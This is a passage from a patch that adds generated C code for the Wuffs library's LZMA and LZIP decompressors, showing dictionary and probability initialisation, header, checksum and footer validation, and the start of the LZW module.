wuffs_private_impl__io_writer__limited_copy_u32_from_history( -+ &iop_a_dst, io0_a_dst, io2_a_dst, 1u, v_dist); -+ if ( ! (iop_a_dst > io1_a_dst)) { -+ status = wuffs_base__make_status(wuffs_lzma__error__internal_error_inconsistent_dictionary_state); -+ goto exit; -+ } -+ self->private_impl.f_stashed_bytes[v_which] = iop_a_dst[-1]; -+ iop_a_dst--; -+ } else { -+ v_adj_dist = ((uint32_t)((((uint64_t)(v_dist)) - ((uint64_t)(iop_a_dst - io0_a_dst))))); -+ v_wb_index = ((uint64_t)(((uint64_t)(self->private_impl.f_dict_workbuf_index)) - ((uint64_t)(v_adj_dist)))); -+ while (v_wb_index >= 9223372036854775808u) { -+ v_wb_index += ((uint64_t)(self->private_impl.f_dict_size)); -+ } -+ if (v_wb_index >= ((uint64_t)(a_workbuf.len))) { -+ status = wuffs_base__make_status(wuffs_lzma__error__internal_error_inconsistent_dictionary_state); -+ goto exit; -+ } -+ self->private_impl.f_stashed_bytes[v_which] = a_workbuf.ptr[v_wb_index]; -+ } -+ v_dist = (1u + self->private_impl.f_stashed_rep0); -+ v_which += 1u; -+ } -+ -+ ok: -+ self->private_impl.p_update_stashed_bytes = 0; -+ goto exit; -+ } -+ -+ goto suspend; -+ suspend: -+ self->private_impl.p_update_stashed_bytes = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+ -+ goto exit; -+ exit: -+ if (a_dst && a_dst->data.ptr) { -+ a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); -+ } -+ -+ return status; -+} -+ -+// -------- func lzma.decoder.decode_optional_end_of_stream -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_lzma__decoder__decode_optional_end_of_stream( -+ wuffs_lzma__decoder* self, -+ wuffs_base__io_buffer* a_src, -+ wuffs_base__slice_u8 a_workbuf) { -+ wuffs_base__status status = wuffs_base__make_status(NULL); -+ -+ wuffs_base__io_buffer u_w = wuffs_base__empty_io_buffer(); -+ wuffs_base__io_buffer* v_w = &u_w; -+ uint8_t* iop_v_w WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ uint8_t* io0_v_w WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ uint8_t* io1_v_w WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ uint8_t* io2_v_w WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ wuffs_base__status v_status = wuffs_base__make_status(NULL); -+ -+ uint32_t coro_susp_point = self->private_impl.p_decode_optional_end_of_stream; -+ switch (coro_susp_point) { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; -+ -+ self->private_impl.f_stashed_pos_end = 18446744073709551615u; -+ while (true) { -+ { -+ wuffs_base__io_buffer* o_0_v_w = v_w; -+ uint8_t* o_0_iop_v_w = iop_v_w; -+ uint8_t* o_0_io0_v_w = io0_v_w; -+ uint8_t* o_0_io1_v_w = io1_v_w; -+ uint8_t* o_0_io2_v_w = io2_v_w; -+ v_w = wuffs_private_impl__io_writer__set( -+ &u_w, -+ &iop_v_w, -+ &io0_v_w, -+ &io1_v_w, -+ &io2_v_w, -+ wuffs_base__utility__empty_slice_u8(), -+ 0u); -+ { -+ wuffs_base__status t_0 = wuffs_lzma__decoder__decode_bitstream_slow(self, v_w, a_src, a_workbuf); -+ v_status = t_0; -+ } -+ v_w = o_0_v_w; -+ iop_v_w = o_0_iop_v_w; -+ io0_v_w = o_0_io0_v_w; -+ io1_v_w = o_0_io1_v_w; -+ io2_v_w = o_0_io2_v_w; -+ } -+ if (wuffs_base__status__is_ok(&v_status)) { -+ break; -+ } else if (v_status.repr == wuffs_base__suspension__short_write) { -+ status = wuffs_base__make_status(wuffs_lzma__error__bad_bitstream_trailer); -+ goto exit; -+ } -+ status = v_status; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); -+ } -+ self->private_impl.f_stashed_pos_end = self->private_impl.f_stashed_pos; -+ -+ ok: -+ self->private_impl.p_decode_optional_end_of_stream = 0; -+ goto exit; -+ } -+ -+ goto suspend; -+ suspend: -+ self->private_impl.p_decode_optional_end_of_stream = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+ -+ goto exit; -+ exit: -+ return status; -+} -+ -+// -------- func lzma.decoder.initialize_dict -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__empty_struct -+wuffs_lzma__decoder__initialize_dict( -+ wuffs_lzma__decoder* self) { -+ self->private_impl.f_dict_workbuf_index = 0u; -+ self->private_impl.f_dict_seen = 0u; -+ self->private_impl.f_stashed_bytes[0u] = 0u; -+ self->private_impl.f_stashed_bytes[1u] = 0u; -+ self->private_impl.f_stashed_pos = 0u; -+ return wuffs_base__make_empty_struct(); -+} -+ -+// -------- func lzma.decoder.initialize_probs -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__empty_struct -+wuffs_lzma__decoder__initialize_probs( -+ wuffs_lzma__decoder* self) { -+ uint32_t v_i = 0; -+ uint32_t v_j = 0; -+ -+ v_i = 0u; -+ while (v_i < 192u) { -+ self->private_data.f_probs_ao00[v_i] = 1024u; -+ v_i += 1u; -+ } -+ v_i = 0u; -+ while (v_i < 12u) { -+ self->private_data.f_probs_ao20[v_i] = 1024u; -+ v_i += 1u; -+ } -+ v_i = 0u; -+ while (v_i < 12u) { -+ self->private_data.f_probs_ao40[v_i] = 1024u; -+ v_i += 1u; -+ } -+ v_i = 0u; -+ while (v_i < 192u) { -+ self->private_data.f_probs_ao41[v_i] = 1024u; -+ v_i += 1u; -+ } -+ v_i = 0u; -+ while (v_i < 12u) { -+ self->private_data.f_probs_ao60[v_i] = 1024u; -+ v_i += 1u; -+ } -+ v_i = 0u; -+ while (v_i < 12u) { -+ self->private_data.f_probs_ao63[v_i] = 1024u; -+ v_i += 1u; -+ } -+ v_i = 0u; -+ while (v_i < 16u) { -+ v_j = 0u; -+ while (v_j < 8u) { -+ self->private_data.f_probs_match_len_low[v_i][v_j] = 1024u; -+ v_j += 1u; -+ } -+ v_i += 1u; -+ } -+ v_i = 0u; -+ while (v_i < 16u) { -+ v_j = 0u; -+ while (v_j < 8u) { -+ self->private_data.f_probs_match_len_mid[v_i][v_j] = 1024u; -+ v_j += 1u; -+ } -+ v_i += 1u; -+ } -+ v_i = 0u; -+ while (v_i < 256u) { -+ self->private_data.f_probs_match_len_high[0u][v_i] = 1024u; -+ v_i += 1u; -+ } -+ v_i = 0u; -+ while (v_i < 16u) { -+ v_j = 0u; -+ while (v_j < 8u) { -+ self->private_data.f_probs_longrep_len_low[v_i][v_j] = 1024u; -+ v_j += 1u; -+ } -+ v_i += 1u; -+ } -+ v_i = 0u; -+ while (v_i < 16u) { -+ v_j = 0u; -+ while (v_j < 8u) { -+ self->private_data.f_probs_longrep_len_mid[v_i][v_j] = 1024u; -+ v_j += 1u; -+ } -+ v_i += 1u; -+ } -+ v_i = 0u; -+ while (v_i < 256u) { -+ self->private_data.f_probs_longrep_len_high[0u][v_i] = 1024u; -+ v_i += 1u; -+ } -+ v_i = 0u; -+ while (v_i < 4u) { -+ v_j = 0u; -+ while (v_j < 64u) { -+ self->private_data.f_probs_slot[v_i][v_j] = 1024u; -+ v_j += 1u; -+ } -+ v_i += 1u; -+ } -+ v_i = 0u; -+ while (v_i < 128u) { -+ self->private_data.f_probs_small_dist[v_i] = 1024u; -+ v_i += 1u; -+ } -+ v_i = 0u; -+ while (v_i < 16u) { -+ self->private_data.f_probs_large_dist[v_i] = 1024u; -+ v_i += 1u; -+ } -+ v_i = 0u; -+ while (v_i < 16u) { -+ v_j = 0u; -+ while (v_j < 768u) { -+ self->private_data.f_probs_lit[v_i][v_j] = 1024u; -+ v_j += 1u; -+ } -+ v_i += 1u; -+ } -+ self->private_impl.f_stashed_state = 0u; -+ self->private_impl.f_stashed_rep0 = 0u; -+ self->private_impl.f_stashed_rep1 = 0u; -+ self->private_impl.f_stashed_rep2 = 0u; -+ self->private_impl.f_stashed_rep3 = 0u; -+ return wuffs_base__make_empty_struct(); -+} -+ -+#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__LZMA) -+ -+#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__LZIP) -+ -+// ---------------- Status Codes Implementations -+ -+const char wuffs_lzip__error__bad_checksum[] = "#lzip: bad checksum"; -+const char wuffs_lzip__error__bad_footer[] = "#lzip: bad footer"; -+const char wuffs_lzip__error__bad_header[] = "#lzip: bad header"; -+const char wuffs_lzip__error__truncated_input[] = "#lzip: truncated input"; -+ -+// ---------------- Private Consts -+ -+// ---------------- Private Initializer Prototypes -+ -+// ---------------- Private Function Prototypes -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_lzip__decoder__do_transform_io( -+ wuffs_lzip__decoder* self, -+ wuffs_base__io_buffer* a_dst, -+ wuffs_base__io_buffer* a_src, -+ wuffs_base__slice_u8 a_workbuf); -+ -+// ---------------- VTables -+ -+const wuffs_base__io_transformer__func_ptrs -+wuffs_lzip__decoder__func_ptrs_for__wuffs_base__io_transformer = { -+ (wuffs_base__optional_u63(*)(const void*))(&wuffs_lzip__decoder__dst_history_retain_length), -+ (uint64_t(*)(const void*, -+ uint32_t))(&wuffs_lzip__decoder__get_quirk), -+ (wuffs_base__status(*)(void*, -+ uint32_t, -+ uint64_t))(&wuffs_lzip__decoder__set_quirk), -+ (wuffs_base__status(*)(void*, -+ wuffs_base__io_buffer*, -+ wuffs_base__io_buffer*, -+ wuffs_base__slice_u8))(&wuffs_lzip__decoder__transform_io), -+ (wuffs_base__range_ii_u64(*)(const void*))(&wuffs_lzip__decoder__workbuf_len), -+}; -+ -+// ---------------- Initializer Implementations -+ -+wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT -+wuffs_lzip__decoder__initialize( -+ wuffs_lzip__decoder* self, -+ size_t sizeof_star_self, -+ uint64_t wuffs_version, -+ uint32_t options){ -+ if (!self) { -+ return wuffs_base__make_status(wuffs_base__error__bad_receiver); -+ } -+ if (sizeof(*self) != sizeof_star_self) { -+ return wuffs_base__make_status(wuffs_base__error__bad_sizeof_receiver); -+ } -+ if (((wuffs_version >> 32) != WUFFS_VERSION_MAJOR) || -+ (((wuffs_version >> 16) & 0xFFFF) > WUFFS_VERSION_MINOR)) { -+ return wuffs_base__make_status(wuffs_base__error__bad_wuffs_version); -+ } -+ -+ if ((options & WUFFS_INITIALIZE__ALREADY_ZEROED) != 0) { -+ // The whole point of this if-check is to detect an uninitialized *self. -+ // We disable the warning on GCC. Clang-5.0 does not have this warning. -+#if !defined(__clang__) && defined(__GNUC__) -+#pragma GCC diagnostic push -+#pragma GCC diagnostic ignored "-Wmaybe-uninitialized" -+#endif -+ if (self->private_impl.magic != 0) { -+ return wuffs_base__make_status(wuffs_base__error__initialize_falsely_claimed_already_zeroed); -+ } -+#if !defined(__clang__) && defined(__GNUC__) -+#pragma GCC diagnostic pop -+#endif -+ } else { -+ if ((options & WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED) == 0) { -+ memset(self, 0, sizeof(*self)); -+ options |= WUFFS_INITIALIZE__ALREADY_ZEROED; -+ } else { -+ memset(&(self->private_impl), 0, sizeof(self->private_impl)); -+ } -+ } -+ -+ { -+ wuffs_base__status z = wuffs_crc32__ieee_hasher__initialize( -+ &self->private_data.f_crc32, sizeof(self->private_data.f_crc32), WUFFS_VERSION, options); -+ if (z.repr) { -+ return z; -+ } -+ } -+ { -+ wuffs_base__status z = wuffs_lzma__decoder__initialize( -+ &self->private_data.f_lzma, sizeof(self->private_data.f_lzma), WUFFS_VERSION, options); -+ if (z.repr) { -+ return z; -+ } -+ } -+ self->private_impl.magic = WUFFS_BASE__MAGIC; -+ self->private_impl.vtable_for__wuffs_base__io_transformer.vtable_name = -+ wuffs_base__io_transformer__vtable_name; -+ self->private_impl.vtable_for__wuffs_base__io_transformer.function_pointers = -+ (const void*)(&wuffs_lzip__decoder__func_ptrs_for__wuffs_base__io_transformer); -+ return wuffs_base__make_status(NULL); -+} -+ -+wuffs_lzip__decoder* -+wuffs_lzip__decoder__alloc(void) { -+ wuffs_lzip__decoder* x = -+ (wuffs_lzip__decoder*)(calloc(1, sizeof(wuffs_lzip__decoder))); -+ if (!x) { -+ return NULL; -+ } -+ if (wuffs_lzip__decoder__initialize( -+ x, sizeof(wuffs_lzip__decoder), WUFFS_VERSION, WUFFS_INITIALIZE__ALREADY_ZEROED).repr) { -+ free(x); -+ return NULL; -+ } -+ return x; -+} -+ -+size_t -+sizeof__wuffs_lzip__decoder(void) { -+ return sizeof(wuffs_lzip__decoder); -+} -+ -+// ---------------- Function Implementations -+ -+// -------- func lzip.decoder.get_quirk -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC uint64_t -+wuffs_lzip__decoder__get_quirk( -+ const wuffs_lzip__decoder* self, -+ uint32_t a_key) { -+ if (!self) { -+ return 0; -+ } -+ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -+ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -+ return 0; -+ } -+ -+ if ((a_key == 1u) && self->private_impl.f_ignore_checksum) { -+ return 1u; -+ } -+ return 0u; -+} -+ -+// -------- func lzip.decoder.set_quirk -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__status -+wuffs_lzip__decoder__set_quirk( -+ wuffs_lzip__decoder* self, -+ uint32_t a_key, -+ uint64_t a_value) { -+ if (!self) { -+ return wuffs_base__make_status(wuffs_base__error__bad_receiver); -+ } -+ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -+ return wuffs_base__make_status( -+ (self->private_impl.magic == WUFFS_BASE__DISABLED) -+ ? wuffs_base__error__disabled_by_previous_error -+ : wuffs_base__error__initialize_not_called); -+ } -+ -+ if (a_key == 1u) { -+ self->private_impl.f_ignore_checksum = (a_value > 0u); -+ return wuffs_base__make_status(NULL); -+ } -+ return wuffs_base__make_status(wuffs_base__error__unsupported_option); -+} -+ -+// -------- func lzip.decoder.dst_history_retain_length -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__optional_u63 -+wuffs_lzip__decoder__dst_history_retain_length( -+ const wuffs_lzip__decoder* self) { -+ if (!self) { -+ return wuffs_base__utility__make_optional_u63(false, 0u); -+ } -+ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -+ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -+ return wuffs_base__utility__make_optional_u63(false, 0u); -+ } -+ -+ return wuffs_lzma__decoder__dst_history_retain_length(&self->private_data.f_lzma); -+} -+ -+// -------- func lzip.decoder.workbuf_len -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 -+wuffs_lzip__decoder__workbuf_len( -+ const wuffs_lzip__decoder* self) { -+ if (!self) { -+ return wuffs_base__utility__empty_range_ii_u64(); -+ } -+ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -+ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -+ return wuffs_base__utility__empty_range_ii_u64(); -+ } -+ -+ return wuffs_lzma__decoder__workbuf_len(&self->private_data.f_lzma); -+} -+ -+// -------- func lzip.decoder.transform_io -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__status -+wuffs_lzip__decoder__transform_io( -+ wuffs_lzip__decoder* self, -+ wuffs_base__io_buffer* a_dst, -+ wuffs_base__io_buffer* a_src, -+ wuffs_base__slice_u8 a_workbuf) { -+ if (!self) { -+ return wuffs_base__make_status(wuffs_base__error__bad_receiver); -+ } -+ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -+ return wuffs_base__make_status( -+ (self->private_impl.magic == WUFFS_BASE__DISABLED) -+ ? wuffs_base__error__disabled_by_previous_error -+ : wuffs_base__error__initialize_not_called); -+ } -+ if (!a_dst || !a_src) { -+ self->private_impl.magic = WUFFS_BASE__DISABLED; -+ return wuffs_base__make_status(wuffs_base__error__bad_argument); -+ } -+ if ((self->private_impl.active_coroutine != 0) && -+ (self->private_impl.active_coroutine != 1)) { -+ self->private_impl.magic = WUFFS_BASE__DISABLED; -+ return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); -+ } -+ self->private_impl.active_coroutine = 0; -+ wuffs_base__status status = wuffs_base__make_status(NULL); -+ -+ wuffs_base__status v_status = wuffs_base__make_status(NULL); -+ -+ uint32_t coro_susp_point = self->private_impl.p_transform_io; -+ switch (coro_susp_point) { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; -+ -+ while (true) { -+ { -+ wuffs_base__status t_0 = wuffs_lzip__decoder__do_transform_io(self, a_dst, a_src, a_workbuf); -+ v_status = t_0; -+ } -+ if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { -+ status = wuffs_base__make_status(wuffs_lzip__error__truncated_input); -+ goto exit; -+ } -+ status = v_status; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); -+ } -+ -+ ok: -+ self->private_impl.p_transform_io = 0; -+ goto exit; -+ } -+ -+ goto suspend; -+ suspend: -+ self->private_impl.p_transform_io = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+ self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 1 : 0; -+ -+ goto exit; -+ exit: -+ if (wuffs_base__status__is_error(&status)) { -+ self->private_impl.magic = WUFFS_BASE__DISABLED; -+ } -+ return status; -+} -+ -+// -------- func lzip.decoder.do_transform_io -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_lzip__decoder__do_transform_io( -+ wuffs_lzip__decoder* self, -+ wuffs_base__io_buffer* a_dst, -+ wuffs_base__io_buffer* a_src, -+ wuffs_base__slice_u8 a_workbuf) { -+ wuffs_base__status status = wuffs_base__make_status(NULL); -+ -+ uint8_t v_c8 = 0; -+ uint32_t v_c32 = 0; -+ uint64_t v_c64 = 0; -+ uint64_t v_dmark = 0; -+ uint64_t v_smark = 0; -+ wuffs_base__status v_status = wuffs_base__make_status(NULL); -+ uint32_t v_checksum_want = 0; -+ uint32_t v_checksum_have = 0; -+ uint64_t v_size_want = 0; -+ -+ uint8_t* iop_a_dst = NULL; -+ uint8_t* io0_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ uint8_t* io1_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ uint8_t* io2_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ if (a_dst && a_dst->data.ptr) { -+ io0_a_dst = a_dst->data.ptr; -+ io1_a_dst = io0_a_dst + a_dst->meta.wi; -+ iop_a_dst = io1_a_dst; -+ io2_a_dst = io0_a_dst + a_dst->data.len; -+ if (a_dst->meta.closed) { -+ io2_a_dst = iop_a_dst; -+ } -+ } -+ const uint8_t* iop_a_src = NULL; -+ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ if (a_src && a_src->data.ptr) { -+ io0_a_src = a_src->data.ptr; -+ io1_a_src = io0_a_src + a_src->meta.ri; -+ iop_a_src = io1_a_src; -+ io2_a_src = io0_a_src + a_src->meta.wi; -+ } -+ -+ uint32_t coro_susp_point = self->private_impl.p_do_transform_io; -+ switch (coro_susp_point) { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; -+ -+ while (true) { -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -+ uint64_t t_0; -+ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 5)) { -+ t_0 = ((uint64_t)(wuffs_base__peek_u40le__no_bounds_check(iop_a_src))); -+ iop_a_src += 5; -+ } else { -+ self->private_data.s_do_transform_io.scratch = 0; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); -+ while (true) { -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint64_t* scratch = &self->private_data.s_do_transform_io.scratch; -+ uint32_t num_bits_0 = ((uint32_t)(*scratch >> 56)); -+ *scratch <<= 8; -+ *scratch >>= 8; -+ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_0; -+ if (num_bits_0 == 32) { -+ t_0 = ((uint64_t)(*scratch)); -+ break; -+ } -+ num_bits_0 += 8u; -+ *scratch |= ((uint64_t)(num_bits_0)) << 56; -+ } -+ } -+ v_c64 = t_0; -+ } -+ if (v_c64 != 5641951820u) { -+ status = wuffs_base__make_status(wuffs_lzip__error__bad_header); -+ goto exit; -+ } -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint8_t t_1 = *iop_a_src++; -+ v_c8 = t_1; -+ } -+ v_status = wuffs_lzma__decoder__set_quirk(&self->private_data.f_lzma, 1348001793u, (1u | (((uint64_t)(v_c8)) << 8u))); -+ if ( ! wuffs_base__status__is_ok(&v_status)) { -+ if (v_status.repr == wuffs_base__error__bad_argument) { -+ status = wuffs_base__make_status(wuffs_lzip__error__bad_header); -+ goto exit; -+ } -+ status = v_status; -+ if (wuffs_base__status__is_error(&status)) { -+ goto exit; -+ } else if (wuffs_base__status__is_suspension(&status)) { -+ status = wuffs_base__make_status(wuffs_base__error__cannot_return_a_suspension); -+ goto exit; -+ } -+ goto ok; -+ } -+ self->private_impl.f_ssize_have = 0u; -+ self->private_impl.f_dsize_have = 0u; -+ wuffs_lzma__decoder__set_quirk(&self->private_data.f_lzma, 1348001792u, 1u); -+ while (true) { -+ v_dmark = ((uint64_t)(iop_a_dst - io0_a_dst)); -+ v_smark = ((uint64_t)(iop_a_src - io0_a_src)); -+ { -+ if (a_dst) { -+ a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); -+ } -+ if (a_src) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ } -+ wuffs_base__status t_2 = wuffs_lzma__decoder__transform_io(&self->private_data.f_lzma, a_dst, a_src, a_workbuf); -+ v_status = t_2; -+ if (a_dst) { -+ iop_a_dst = a_dst->data.ptr + a_dst->meta.wi; -+ } -+ if (a_src) { -+ iop_a_src = a_src->data.ptr + a_src->meta.ri; -+ } -+ } -+ self->private_impl.f_ssize_have += wuffs_private_impl__io__count_since(v_smark, ((uint64_t)(iop_a_src - io0_a_src))); -+ self->private_impl.f_dsize_have += wuffs_private_impl__io__count_since(v_dmark, ((uint64_t)(iop_a_dst - io0_a_dst))); -+ if ( ! self->private_impl.f_ignore_checksum) { -+ wuffs_crc32__ieee_hasher__update(&self->private_data.f_crc32, wuffs_private_impl__io__since(v_dmark, ((uint64_t)(iop_a_dst - io0_a_dst)), io0_a_dst)); -+ } -+ if (wuffs_base__status__is_ok(&v_status)) { -+ break; -+ } -+ status = v_status; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(4); -+ } -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); -+ uint32_t t_3; -+ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { -+ t_3 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); -+ iop_a_src += 4; -+ } else { -+ self->private_data.s_do_transform_io.scratch = 0; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); -+ while (true) { -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint64_t* scratch = &self->private_data.s_do_transform_io.scratch; -+ uint32_t num_bits_3 = ((uint32_t)(*scratch >> 56)); -+ *scratch <<= 8; -+ *scratch >>= 8; -+ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_3; -+ if (num_bits_3 == 24) { -+ t_3 = ((uint32_t)(*scratch)); -+ break; -+ } -+ num_bits_3 += 8u; -+ *scratch |= ((uint64_t)(num_bits_3)) << 56; -+ } -+ } -+ v_checksum_want = t_3; -+ } -+ if ( ! self->private_impl.f_ignore_checksum) { -+ v_checksum_have = wuffs_crc32__ieee_hasher__checksum_u32(&self->private_data.f_crc32); -+ if (v_checksum_have != v_checksum_want) { -+ status = wuffs_base__make_status(wuffs_lzip__error__bad_checksum); -+ goto exit; -+ } -+ } -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); -+ uint64_t t_4; -+ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 8)) { -+ t_4 = wuffs_base__peek_u64le__no_bounds_check(iop_a_src); -+ iop_a_src += 8; -+ } else { -+ self->private_data.s_do_transform_io.scratch = 0; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); -+ while (true) { -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint64_t* scratch = &self->private_data.s_do_transform_io.scratch; -+ uint32_t num_bits_4 = ((uint32_t)(*scratch >> 56)); -+ *scratch <<= 8; -+ *scratch >>= 8; -+ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_4; -+ if (num_bits_4 == 56) { -+ t_4 = ((uint64_t)(*scratch)); -+ break; -+ } -+ num_bits_4 += 8u; -+ *scratch |= ((uint64_t)(num_bits_4)) << 56; -+ } -+ } -+ v_size_want = t_4; -+ } -+ if (self->private_impl.f_dsize_have != v_size_want) { -+ status = wuffs_base__make_status(wuffs_lzip__error__bad_footer); -+ goto exit; -+ } -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(9); -+ uint64_t t_5; -+ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 8)) { -+ t_5 = wuffs_base__peek_u64le__no_bounds_check(iop_a_src); -+ iop_a_src += 8; -+ } else { -+ self->private_data.s_do_transform_io.scratch = 0; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(10); -+ while (true) { -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint64_t* scratch = &self->private_data.s_do_transform_io.scratch; -+ uint32_t num_bits_5 = ((uint32_t)(*scratch >> 56)); -+ *scratch <<= 8; -+ *scratch >>= 8; -+ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_5; -+ if (num_bits_5 == 56) { -+ t_5 = ((uint64_t)(*scratch)); -+ break; -+ } -+ num_bits_5 += 8u; -+ *scratch |= ((uint64_t)(num_bits_5)) << 56; -+ } -+ } -+ v_size_want = t_5; -+ } -+ if ((v_size_want < 26u) || (2251799813685248u < v_size_want)) { -+ status = wuffs_base__make_status(wuffs_lzip__error__bad_footer); -+ goto exit; -+ } else if (self->private_impl.f_ssize_have != (v_size_want - 26u)) { -+ status = wuffs_base__make_status(wuffs_lzip__error__bad_footer); -+ goto exit; -+ } -+ while (((uint64_t)(io2_a_src - iop_a_src)) < 4u) { -+ if (a_src && a_src->meta.closed) { -+ goto label__outer__break; -+ } -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(11); -+ } -+ v_c32 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); -+ if (v_c32 != 1346984524u) { -+ break; -+ } -+ wuffs_private_impl__ignore_status(wuffs_crc32__ieee_hasher__initialize(&self->private_data.f_crc32, -+ sizeof (wuffs_crc32__ieee_hasher), WUFFS_VERSION, WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED)); -+ wuffs_private_impl__ignore_status(wuffs_lzma__decoder__initialize(&self->private_data.f_lzma, -+ sizeof (wuffs_lzma__decoder), WUFFS_VERSION, WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED)); -+ } -+ label__outer__break:; -+ -+ ok: -+ self->private_impl.p_do_transform_io = 0; -+ goto exit; -+ } -+ -+ goto suspend; -+ suspend: -+ self->private_impl.p_do_transform_io = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+ -+ goto exit; -+ exit: -+ if (a_dst && a_dst->data.ptr) { -+ a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); -+ } -+ if (a_src && a_src->data.ptr) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ } -+ -+ return status; -+} -+ -+#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__LZIP) -+ -+#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__LZW) -+ -+// ---------------- Status Codes Implementations -+ -+const char wuffs_lzw__error__bad_code[] = "#lzw: bad code"; -+const char wuffs_lzw__error__truncated_input[] = "#lzw: truncated input"; -+const char wuffs_lzw__error__internal_error_inconsistent_i_o[] = "#lzw: internal error: inconsistent I/O"; -+ -+// ---------------- Private Consts -+ -+#define WUFFS_LZW__QUIRKS_BASE 1348378624u -+ -+// ---------------- Private Initializer Prototypes -+ -+// ---------------- Private Function Prototypes -+ 